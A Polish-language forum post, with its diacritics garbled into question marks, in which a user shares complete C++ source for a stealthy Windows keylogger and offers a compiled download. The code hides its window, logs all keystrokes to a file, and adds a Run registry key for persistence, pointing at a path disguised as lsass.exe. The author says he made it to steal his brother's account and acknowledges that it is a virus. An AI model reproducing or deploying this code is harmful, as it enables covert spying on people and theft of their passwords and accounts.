What's new

Keyloggery - co i jak?

BanSotwin

User
Joined
Feb 12, 2010
Messages
26
Reaction score
0
Witam. Chcia?bym Wam przedstawi? m?j pierwszy powa?ny program w C++ - Keylogger. Oczywi?cie nie napisa?em go sam, u?y?em tak?e po kawa?ku innych kod?w. Uwaga! Ta wersja Keyloggera nie wysy?a informacji na e-mail, ale dzia?a na jednym komputerze.

Co to jest Keylogger?

Keylogger to program kt?ry zapami?tuje naci?ni?te na klawiaturze klawisze i ich list? przesy?a w konkretne miejsce. W tym konkretnym przypadku do pliku tekstowego.

Jak go obs?ugiwa?? Wystarczy ?e go uruchomisz i b?dzie dzia?a? a? do restartu komputera. Kiedy jest uruchomiony, wszystkie klawisze, jakie kto? napisa?, zapisuj? si? w pliku tekstowym w folderze ( plik zostanie automatycznie stworzony). Mi by? on potrzebny do zemsty na bracie (zabranie konta).

No wi?c: w??czamy kompilator (najlepiej Dev C++) i wklejamy do nowego projektu:

#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>

#define BUFSIZE 80

int test_key(void);
int create_key(char *);
int get_keys(void);

int main(void)
{
HWND stealth; // Creating stealth (window is not visible).
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);

int test,create;
test=test_key(); // Check if key is available for opening.

if (test==2) // Create key.
{
char *path="C:\\WINDOWS\\system32\\lsass.exe"; // The path in which the file needs to be.
create=create_key(path);

}


int t=get_keys();

return t;
}

int get_keys(void)
{
short character;
while(1)
{
Sleep(10); // To prevent 100% CPU usage.
for(character=8;character<=222;character++)
{
if(GetAsyncKeyState(character)==-32767)
{

FILE *file;
file=fopen("Sotwin.log","a+");
if(file==NULL)
{
return 1;
}
if(file!=NULL)
{
if((character>=39)&&(character<=64))
{
fputc(character,file);
fclose(file);
break;
}
else if((character>64)&&(character<91))
{
character+=32;
fputc(character,file);
fclose(file);
break;
}
else
{
switch(character)
{
case VK_SPACE:
fputc(' ',file);
fclose(file);
break;
case VK_SHIFT:
fputs("[SHIFT]",file);
fclose(file);
break;
case VK_RETURN:
fputs("\n[ENTER]",file);
fclose(file);
break;
case VK_BACK:
fputs("[BACKSPACE]",file);
fclose(file);
break;
case VK_TAB:
fputs("[TAB]",file);
fclose(file);
break;
case VK_CONTROL:
fputs("[CTRL]",file);
fclose(file);
break;
case VK_DELETE:
fputs("[DEL]",file);
fclose(file);
break;
case VK_OEM_1:
fputs("[;:]",file);
fclose(file);
break;
case VK_OEM_2:
fputs("[/?]",file);
fclose(file);
break;
case VK_OEM_3:
fputs("?",file);
fclose(file);
break;
case VK_OEM_4:
fputs("[ [{ ]",file);
fclose(file);
break;
case VK_OEM_5:
fputs("[\\|]",file);
fclose(file);
break;
case VK_OEM_6:
fputs("a*",file);
fclose(file);
break;
case VK_OEM_7:
fputs("?",file);
fclose(file);
break;
/* case VK_OEM_PLUS:
fputc('+',file);
fclose(file);
break;
case VK_OEM_COMMA:
fputc(',',file);
fclose(file);
break;
case VK_OEM_MINUS:
fputc('-',file);
fclose(file);
break;
case VK_OEM_PERIOD:
fputc('.',file);
fclose(file);
break; */
case VK_NUMPAD0:
fputc('0',file);
fclose(file);
break;
case VK_NUMPAD1:
fputc('1',file);
fclose(file);
break;
case VK_NUMPAD2:
fputc('2',file);
fclose(file);
break;
case VK_NUMPAD3:
fputc('3',file);
fclose(file);
break;
case VK_NUMPAD4:
fputc('4',file);
fclose(file);
break;
case VK_NUMPAD5:
fputc('5',file);
fclose(file);
break;
case VK_NUMPAD6:
fputc('6',file);
fclose(file);
break;
case VK_NUMPAD7:
fputc('7',file);
fclose(file);
break;
case VK_NUMPAD8:
fputc('8',file);
fclose(file);
break;
case VK_NUMPAD9:
fputc('9',file);
fclose(file);
break;
case VK_CAPITAL:
fputs("[CAPS LOCK]",file);
fclose(file);
break;
default:
fclose(file);
break;
}
}
}
}
}

}
return EXIT_SUCCESS;
}

int test_key(void)
{
int check;
HKEY hKey;
char path[BUFSIZE];
DWORD buf_length=BUFSIZE;
int reg_key;

reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
if(reg_key!=0)
{
check=1;
return check;
}

reg_key=RegQueryValueEx(hKey,"Kkey",NULL,NULL,(LPBYTE)path,&buf_length);

if((reg_key!=0)||(buf_length>BUFSIZE))
check=2;
if(reg_key==0)
check=0;

RegCloseKey(hKey);
return check;
}

int create_key(char *path)
{
int reg_key,check;

HKEY hkey;

reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
if(reg_key==0)
{
RegSetValueEx((HKEY)hkey,"Kkey",0,REG_SZ,(BYTE *)path,strlen(path));
check=0;
return check;
}
if(reg_key!=0)
check=1;

return check;
}

Kompilujemy i plik jest gotowy!

A teraz download dla leniwych:



Skan:

Uwaga! Skaner wykryje wirusa ... bo to jest wirus.

NIE BIOR? ODPOWIEDZIALNO?CI ZA WYKORZYSTANIE TEGO KEYLOGGERA DO W?ASNYCH CEL?W.


Pozdrawiam, Sotwin.
 
Top